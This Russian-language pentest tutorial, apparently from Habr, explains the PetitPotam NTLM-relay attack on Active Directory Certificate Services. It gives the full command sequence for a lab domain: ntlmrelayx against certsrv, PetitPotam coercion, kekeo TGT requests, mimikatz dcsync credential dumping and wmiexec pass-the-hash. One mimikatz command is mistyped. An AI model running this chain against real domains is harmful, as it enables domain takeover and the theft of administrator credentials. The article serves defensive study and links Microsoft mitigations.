Захват контроллера домена с помощью атаки PetitPotam

image-loader.svg

В этой статье я расскажу про атаку PetitPotam, которая позволяет при определенных условиях захватить контроллер домена всего за несколько действий. Атака основана на том, что можно заставить контроллер домена аутентифицироваться на вашем хосте, получить его хэш и ретранслировать его в службу Active Directory Certificate Services для повышения привилегий. Статья предназначена для пентестеров и тех, кто хочет узнать об актуальных атаках на Active Directory.

О PetitPotam

Данная уязвимость была открыта исследователем безопасности Лионелем Жилль (Gilles Lionel) 18-го июля 2021 г. Атака PetitPotam позволяет контроллеру домена аутентифицироваться на любом удаленном сервере. Это достигается за счет использования метода EfsRpcOpenFileRaw протокола MS-EFSRPC, который заставляет учетную запись компьютера аутентифицироваться в другой системе.

Протокол EFSRPC используется для операций обслуживания и управления зашифрованными данными, которые хранятся удаленно и доступны по сети.

C помощью PetitPotam можно заставить контроллер домена инициировать процесс аутентификации на сервере, который находится под контролем злоумышленника, и поделиться с ним значением NTLM-хэша. С помощью полученных данных злоумышленник может провести атаку NTLM-relay.

Коротко о NTLM-relay

Суть атаки NTLM-relay сводится к тому, чтобы вмешаться в процесс аутентификации по протоколу NTLM и получить доступ к стороннему ресурсу с привилегиями атакуемого пользователя, передав ему NTLM-хэш пользователя или сервиса, который пытается аутентифицироваться. Атака может быть реализована в отношении любого протокола, поддерживающего NTLM-аутентификацию (SMB, HTTP, LDAP и т.д.).

https://en.hackndo.com/ntlm-relay/#authentication-vs-session

Используя атаку PetitPotam, атакующий может повысить свои привилегии до администратора домена. Для успешного проведения атаки необходимо, чтобы:

  1. У атакующего был доступ к внутренней сети

  2. В Active Directory Certificate Services (AD CS) была активирована опция Web Enrollment

Служба AD CS может быть установлена в качестве роли на контроллере домена (Domain Controller), либо на отдельном сервере, который входит в этот домен.

Таким образом злоумышленник ретранслирует NTLM-хэш контроллера домена в службу Web Enrollment AD CS (Active Directory Certificate Services) и запрашивает сертификат от имени контроллера домена. Затем этот сертификат используется для запроса TGT (Ticket Granting Ticket).

Коротко о TGT

После прохождения успешной аутентификации пользователем, центр распределения ключей выдает первичное удостоверение для доступа к сетевым ресурсам — Ticket Granting Ticket. Если данный билет подписать доменной учетной записью Kerberos (krbtgt), то билет будет «золотым» (Golden Ticket), что позволит пользователю аутентифицироваться на любом сервере в этом домене.

Далее мы рассмотрим алгоритм действий для атаки.

Схема атаки

Атака была протестирована на Windows Server 2019. Версия ОС 10.0.17763

  1. Запустим ntlmrelayx, чтобы ретранслировать аутентификационные данные контроллера домена в AD CS

  2. Запустим PetitPotam, чтобы инициировать NTLM-аутентификацию контроллера домена c подконтрольным атакующему сервером (ntlmrelayx)

  3. Получим сертификат PKCS12 в base64 формате

  4. Импортируем сертификат в kekeo (для запроса TGT).

  5. Запустим mimikatz для дампа SAM секретов для выбранного пользователя

  6. Запустим атаку Pass-the-hash

Для демонстрации атаки была развернута следующая инфраструктура:

  • 192.168.0.123 — AD CS (Windows Server 2019)

  • 192.168.0.122 — Контроллер домена (Windows Server 2019)

  • 192.168.0.124 — NTLM-listener (Kali linux)

image-loader.svg

Шаг 1. Запуск ntlmrelayx

Подготовка

git clone https://github.com/ExAndroidDev/impacket.git
sudo pip3 uninstall impacket
sudo pip uninstall impacket
sudo pip3 install -r requirements.txt
sudo python3 setup.py install
sudo python3 ntlmrelayx.py -debug -smb2support --target http://192.168.0.123/certsrv/certfnsh.asp --adcs --template KerberosAuthentication

Чтобы ntlmrelayx ретранслировал NTLM-хэш контроллера домена в AD CS, используем шаблон KerberosAuthentication, но также можно использовать шаблон DomainControllers.

9ab758cc997a9394f61d1f874c8820b1.jpeg

Если перейти на https://192.168.0.123/certsrv/certfnsh.asp, то увидим форму аутентификации.

image-loader.svg

Шаг 2. PetiPotam

Подготовка

python3 Petitpotam.py 192.168.0.124 192.168.0.122

Пока ntlmrelayx находится в ожидании соединений, инициируем с помощью PetitPotam NTLM аутентификацию контроллера домена cподконтрольным атакующему сервером для последующей ретрансляцией NTLM-хэша в AD CS.

f837961448bcfa11984938a0e063a505.jpeg

Шаг 3. Сертификат PKCS12

На машине с запущенным ntlmrelayx получаем сертификат PKCS12 в base64, который зарегистрирован в AD CS от имени контроллера домена.

9447a6b96d0f77a860ad3aa0b3d15af5.jpeg

Этот сертификат можно использовать для получения TGT в службе аутентификации Kerberos.

Шаг 4. Import PKCS12 to kekeo

Подготовка

curl [https://github.com/gentilkiwi/kekeo/releases/download/2.2.0-20210723/kekeo.zip](https://github.com/gentilkiwi/kekeo/releases/download/2.2.0-20210723/kekeo.zip) -o kekeo.zip
tar -xf .\kekeo.zip

Данный сертификат импортируем в kekeo.

.\kekeo.exe
base64 /input:on
tgt::ask /pfx: /user:<указать юзера из шага 3> /domain:<название домена> /ptt

9960c857697bc4506624a11e5ff718fa.jpg

Шаг 5. Mimikatz

Подготовка

curl [https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20210724/mimikatz_trunk.zip](https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20210724/mimikatz_trunk.zip) -o mimikatz.zip
tar -xf mimikatz.zip
.\mimikatz.exe
lsadump::dcsync /domain:<название домена> /user:<укажите любого пользователя>

Теперь у нас есть TGT, который мы можем использовать, чтобы аутентифицироваться на любом хосте в домене. С помощью него мы можем получить NTLM-хэш любого пользователя домена с контроллера домена.

С помощью mimikatz сдампим NTLM-хэш пользователя adm, который является доменным администратором.

mimikatz # lsadump::dsync /domain:DEITERIY.LAB /user:adm

2019f545e70819ab432b7473fe9a2c00.jpeg

Шаг 6. Pass-the-hash

С помощью Pass-the-hash аутентифицируемся на любом хосте, например на контроллере домена.

wmiexec.exe -hashes :ntlm DEITERIY/adm@192.168.0.122

aa7b3469a06f858c7f556ffc25d6c4b6.jpeg

Заключение

Вот таким образом за несколько действий можно повысить свои привилегии до администратора домена. Стоит отметить, что атаки, основанные на NTLM-relay, существуют давно, но атака PetitPotam выделяется на их фоне, так как не требует учетных данных и не требует взаимодействия пользователя для инициирования аутентификации контроллером домена на сервере злоумышленника.

О мерах предосторожности, рекомендованных компанией Microsoft, можно прочитать по ссылке: https://support.microsoft.com/en-gb/topic/kb5005413-mitigating-ntlm-relay-attacks-on-active-directory-certificate-services-ad-cs-3612b773–4043–4aa9-b23d-b87910cd3429

В качестве дополнительных материалов рекомендую ознакомиться со статьями:

© Habrahabr.ru